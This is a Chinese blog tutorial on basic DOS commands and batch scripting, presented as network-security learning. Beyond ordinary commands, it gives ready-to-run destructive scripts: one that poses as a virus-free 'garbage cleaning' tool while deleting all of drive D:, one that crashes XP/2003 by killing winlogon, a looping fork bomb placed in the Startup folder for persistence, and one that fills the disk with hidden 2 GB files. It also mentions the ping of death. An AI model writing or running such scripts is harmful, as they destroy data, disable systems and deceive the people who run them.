当前位置:   article > 正文

(一)基本DOS命令和批处理文件编写(网络安全)_dir %filenm%*.* /a-d >nul 2>nul

dir %filenm%*.* /a-d >nul 2>nul

声明:前面我提供给大家很多镜像资源,大家根据需要下载,系统安装过程可参照网上教程,我就不演示啦。下面我给大家简单介绍下虚拟机和虚拟机的基本使用。

镜像下载链接:https://blog.csdn.net/Until_U/article/details/106984359

(1)VMware基本介绍

我们使用的是VMware虚拟机,VMware虚拟机架构有寄居架构和原生架构,我们所用的VMware workstations是在Windows系统之上的,他就是典型的寄居架构。而在生产环境中,原生架构很常见,它是直接将VMware安装在硬件之上的,相当于一个操作系统,典型的是VMware vsphere。

而在生产环境下还有一个微软的hyper-v也很常见,他也是典型的寄居架构。

而在所有的学习实验环境下,我们都使用的是VMware workstations,典型的寄居架构哦。

(2)VMware基本使用。

例如前面安装好WinXP系统之后,我们需要给xp安装vmtools,让虚拟机与真机进行交互,然后可以根据需要进行磁盘管理。保持好虚拟机最佳状态并建立快照。根据实验环境需要,可以克隆多个虚拟机进行模拟实验环境。(详细操作我也不做介绍了,百度上也有很多教程,遇到问题记得百度哦)


 

下面开始今天的学习,基本DOS命令和批处理文件的编写:

一、基本DOS命令

(1)color /?   #修改cmd字体颜色

 (2)systeminfo  #查看系统信息

(3)ping给对方主机发送ICMP包,ping域名也可返回ip地址) 

 死亡之ping(给对方主机发送大量ICMP包,这个容易搞坏目标服务器,但是现在很多例如阿里服务器都自带包过滤功能,可能会无效。)

(4)ipconfig 查看本机IP地址

 ipconfig  /release   #释放IP地址

 ipconfig /renew   #重新获取IP地址

(5)cls   #清屏 这个比较好用哦

(6)shutdown   #关机

(7)关于目录的一些命令

盘符切换:直接输入盘符:

cd 切换目录(.表示当前目录,“..”表示上层目录)

md创建目录,rd删除目录(rd . /s/q  递归删除当前目录下所有内容)

dir 显示当前目录下的内容

(8)文件的相关操作

下面介绍两种创建文件的方法。echo(>为覆盖,>>为追加)、copy con 文件名

type显示文件内容,并且可以通过 | more分页显示(适用于文本比较多的情形)

copy、move和del文件:

del . *.txt (删除当前目录下TXT文件) ;  del \ *.*(这条删除命令慎用,建议虚拟机中操作,恐怖程度类似于rm -rf /*)

文件授权:attrib(类似于Linux下的chmod等)

(9)下面来点变态的操作哟

下面只要去除文件的权限再删除掉就可以了。

再看一个操作:修改TXT文件成exe可执行文件,这样就没法处理txt文件了,同样的也可以吧Word,jpg文件都修改为了,止痒它们都执行不了。是不是也很变态。

取消操作就修改回来就好了。这个在下面编写批处理文件好好讲解。

二、批处理文件编写

(1)编写一个删除文件小脚本(下面是删除D盘下所有文件,慎用哦)

  1. @echo off
  2. color A
  3. title garbage cleaning.exe
  4. echo 这只是一个简单的垃圾清理软件,没有病毒哦(在虚拟机上操作哦,否则文件删光光别找我呀)
  5. pause
  6. echo.
  7. echo garbage is cleaning .............
  8. d: >nul 2>null ::消除提示
  9. cd \ >nul 2>null
  10. rd . /s/q >nul 2>null
  11. ping -n 10 127.0.0.1 >nul 2>null ::ping环回地址假装正在清理
  12. echo congratulations! Garbage has been cleaned!
  13. pause

(2)编写定时关机小脚本。

  1. @echo off ::关闭执行过程
  2. color A
  3. title this is just a procedure ::赋予程序标题
  4. :menu
  5. cls
  6. echo ********************定时关机小程序**************
  7. echo 菜单
  8. echo. ::换行
  9. echo 1、定时关机
  10. echo 2、取消关机
  11. echo 3、退出程序
  12. echo ******************************************
  13. echo.
  14. set /p num=请输入你的选择: ::set为设置变量,/p的作用是不要直接赋值给num,而是让用户输入
  15. if "%num%"=="1" goto 1 ::判断输入值,并进行相应的跳转
  16. if "%num%"=="2" goto 2
  17. if "%num%"=="3" goto 3
  18. echo 请输入正确数值,不要皮哦!,按任意键继续!
  19. pause ::暂停操作,显示以上信息
  20. goto menu
  21. :1 ::定义结构体,类似于switch一样,进行相应的跳转
  22. set /p a=请输入多久进行关机(单位/s):
  23. shutdown -s -t %a% -f
  24. goto menu
  25. :2
  26. shutdown -a
  27. goto menu
  28. :3
  29. exit

(3)explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。下面简单创建一个删除它的一个脚本。

  1. @echo off
  2. color A
  3. taskkill /im explorer.exe /f
  4. echo 傻了吧!!!
  5. ping -n 10 127.0.0.1 >nul 2>nul
  6. start c:\windows\explorer.exe
  7. echo 吓唬你的,是不是被吓到啦!!!

(4)针对xp和win2003的蓝屏脚本

ntsd -c q -pn winlogon.exe

(5)编写一个脚本haha.bat。把它拷贝到启动文件中,这样无论重启都会反复执行cmd。导致系统崩溃。 %userprofile%是系统用户变量。(真机慎用!)

  1. copy haha.bat "%userprofile%\「开始」菜单\程序\启动"
  2. :d
  3. start
  4. goto d

(6)挤爆磁盘空间并授予相关权限,让别人也看不到。 

  1. @echo off
  2. color A
  3. d:
  4. cd \
  5. fsutil file createnew c:\sys.ini1 2048000000
  6. fsutil file createnew c:\sys.ini2 2048000000
  7. fsutil file createnew c:\sys.ini3 2048000000
  8. fsutil file createnew c:\sys.ini4 2048000000
  9. fsutil file createnew c:\sys.ini5 2048000000
  10. fsutil file createnew c:\sys.ini6 2048000000
  11. fsutil file createnew c:\sys.ini7 2048000000
  12. attrib +s +a +h c:\sys.ini1
  13. attrib +s +a +h c:\sys.ini2
  14. attrib +s +a +h c:\sys.ini3
  15. attrib +s +a +h c:\sys.ini4
  16. attrib +s +a +h c:\sys.ini5
  17. attrib +s +a +h c:\sys.ini6
  18. attrib +s +a +h c:\sys.ini7

好了,DOS基本命令和批处理文件就暂时学到这,后面学到这方面的知识就见怪不怪啦。Bye!

 

 

 

 

 

 

 

 

 

 

 

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号